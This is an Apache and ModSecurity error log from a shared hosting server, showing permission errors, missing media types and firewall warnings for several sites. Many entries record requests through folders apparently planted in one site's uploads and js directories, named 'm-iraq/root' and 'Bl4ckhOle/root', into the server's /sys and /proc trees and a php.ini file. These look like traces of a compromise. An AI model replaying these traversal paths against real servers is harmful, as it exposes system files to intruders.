[Fri Jul 17 09:15:48.476055 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlbF1_86A5R6msWNfX4QAAABI"]
[Fri Jul 17 09:15:49.695689 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:38664] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:49.798860 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:49.808940 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:49.860660 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:49.899608 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.067789 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.083306 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.101058 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.195108 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.299869 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.408662 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 47.79.51.49:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:68/subsystem/input6/device/subsystem/uevent
[Fri Jul 17 09:15:50.500000 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.501026 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.510782 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.536708 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:38724] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:50.545333 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:50.763498 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:51.955882 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:51.982357 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.081720 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.111091 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.114174 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.467235 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.504777 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.523253 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.82.8.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:08/physical_node/resource0
[Fri Jul 17 09:15:52.546934 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.563900 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.598003 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.640143 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.770637 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:52.879587 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.82.48.83:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:03/subsystem/uevent
[Fri Jul 17 09:15:52.903772 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:53.192912 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:53.472230 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:56442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:54.074760 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlckgVnBK6wAv37w6wIwAAABQ"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:15:54.074805 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlckgVnBK6wAv37w6wIwAAABQ"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:15:54.104034 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php83-pear/LICENSE-XML_RPC"] [unique_id "almlcg7FYe46zHK_jL3TVgAAABk"]
[Fri Jul 17 09:15:54.104090 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/alt-php83-pear/LICENSE-XML_RPC"] [unique_id "almlcg7FYe46zHK_jL3TVgAAABk"]
[Fri Jul 17 09:15:54.159084 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.260324 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.339544 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.387110 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.484965 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.567583 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlcpBVIrrUwtEhdafURQAAAAU"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:54.567614 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlcpBVIrrUwtEhdafURQAAAAU"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:54.586847 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.635736 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 47.82.14.52:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/4:67/type
[Fri Jul 17 09:15:54.698337 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.941705 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:54.951839 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:55.038136 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:55.104670 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:55.763899 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:56.453137 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-version/CHANGES"] [unique_id "almldLoj0IkvhSCYadmFLgAAAAQ"]
[Fri Jul 17 09:15:56.453176 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-version/CHANGES"] [unique_id "almldLoj0IkvhSCYadmFLgAAAAQ"]
[Fri Jul 17 09:15:56.559539 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 47.82.51.101:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/226:0/device/firmware_node/subsystem/uevent
[Fri Jul 17 09:15:57.162952 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:57.514955 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:57.762733 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:57.866244 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:57.965820 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:58.085786 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:58.085883 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:58.085928 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:58.585013 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:1e/subsystem/uevent
[Fri Jul 17 09:15:59.842539 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:56784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:01.952085 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:02.983222 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:58170] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:03.218334 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/devices/device:0e/eject
[Fri Jul 17 09:16:03.420354 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:03.622699 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:03.744490 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:58230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:04.032661 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS3/device/subsystem/drivers/dw-apb-uart/bind
[Fri Jul 17 09:16:04.234727 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:04.738481 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:58284] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:05.271276 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:05.575459 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:05.578300 2026] [authz_core:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/opt/alt/php71/etc/php.ini
[Fri Jul 17 09:16:06.086901 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:06.195141 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu3/node0/cpu1/subsystem/uevent
[Fri Jul 17 09:16:06.303863 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/node0/cpu3/subsystem/uevent
[Fri Jul 17 09:16:06.308884 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:58354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:07.128317 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:07.553240 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:07.647464 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:08.157649 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:08.168758 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:58454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:08.366061 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:09.305222 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:09.613780 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:09.721989 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:09.926955 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:10.269969 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:10.506969 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:58512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:10.968679 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:11.268782 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:12.022827 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:12.576675 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:12.576796 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:12.576880 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:12.866900 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:13.007786 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:44258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:13.421225 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:13.522809 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:14.640587 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:44328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:15.068253 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:15.186014 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:15.503401 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 57.141.18.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory117/subsystem/devices/memory54/subsystem/uevent
[Fri Jul 17 09:16:17.263176 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.463560 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.626436 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.626525 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.626549 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.626616 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.626665 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.635495 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.794515 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:17.898152 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:18.527494 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:44616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:18.714128 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:19.648724 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:20.170978 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almljJBVIrrUwtEhdafUdQAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:16:20.171026 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almljJBVIrrUwtEhdafUdQAAAAU"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:16:20.543212 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:20.996766 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/event3/device/power/control"] [unique_id "almljEgVnBK6wAv37w6wTAAAABQ"]
[Fri Jul 17 09:16:20.996810 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:32/subsystem/event3/device/power/control"] [unique_id "almljEgVnBK6wAv37w6wTAAAABQ"]
[Fri Jul 17 09:16:21.314565 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:21.548126 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:21.796291 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.247.48.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/fonts/fontawesome-webfont.woff"] [unique_id "almljUkXT4NBqALj2laAcwAAABA"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:16:21.796548 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.247.48.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/fonts/fontawesome-webfont.woff"] [unique_id "almljUkXT4NBqALj2laAcwAAABA"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:16:21.867985 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:22.050240 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:22.095810 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:22.626811 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:23.057428 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:24.609266 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:24.924007 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/ACPI0010:00/LNXCPU:02/eject
[Fri Jul 17 09:16:25.283903 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:58978] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:25.703882 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:26.177548 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:26.679974 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:59052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:26.803411 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:26.905897 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/mouse1/device/properties"] [unique_id "almlkoe39YUk0SgV8AU97AAAABE"]
[Fri Jul 17 09:16:26.905956 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:67/subsystem/mouse1/device/properties"] [unique_id "almlkoe39YUk0SgV8AU97AAAABE"]
[Fri Jul 17 09:16:27.106940 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:27.157581 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:59100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:27.214386 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:59114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:16:27.314493 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:16:27.415899 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
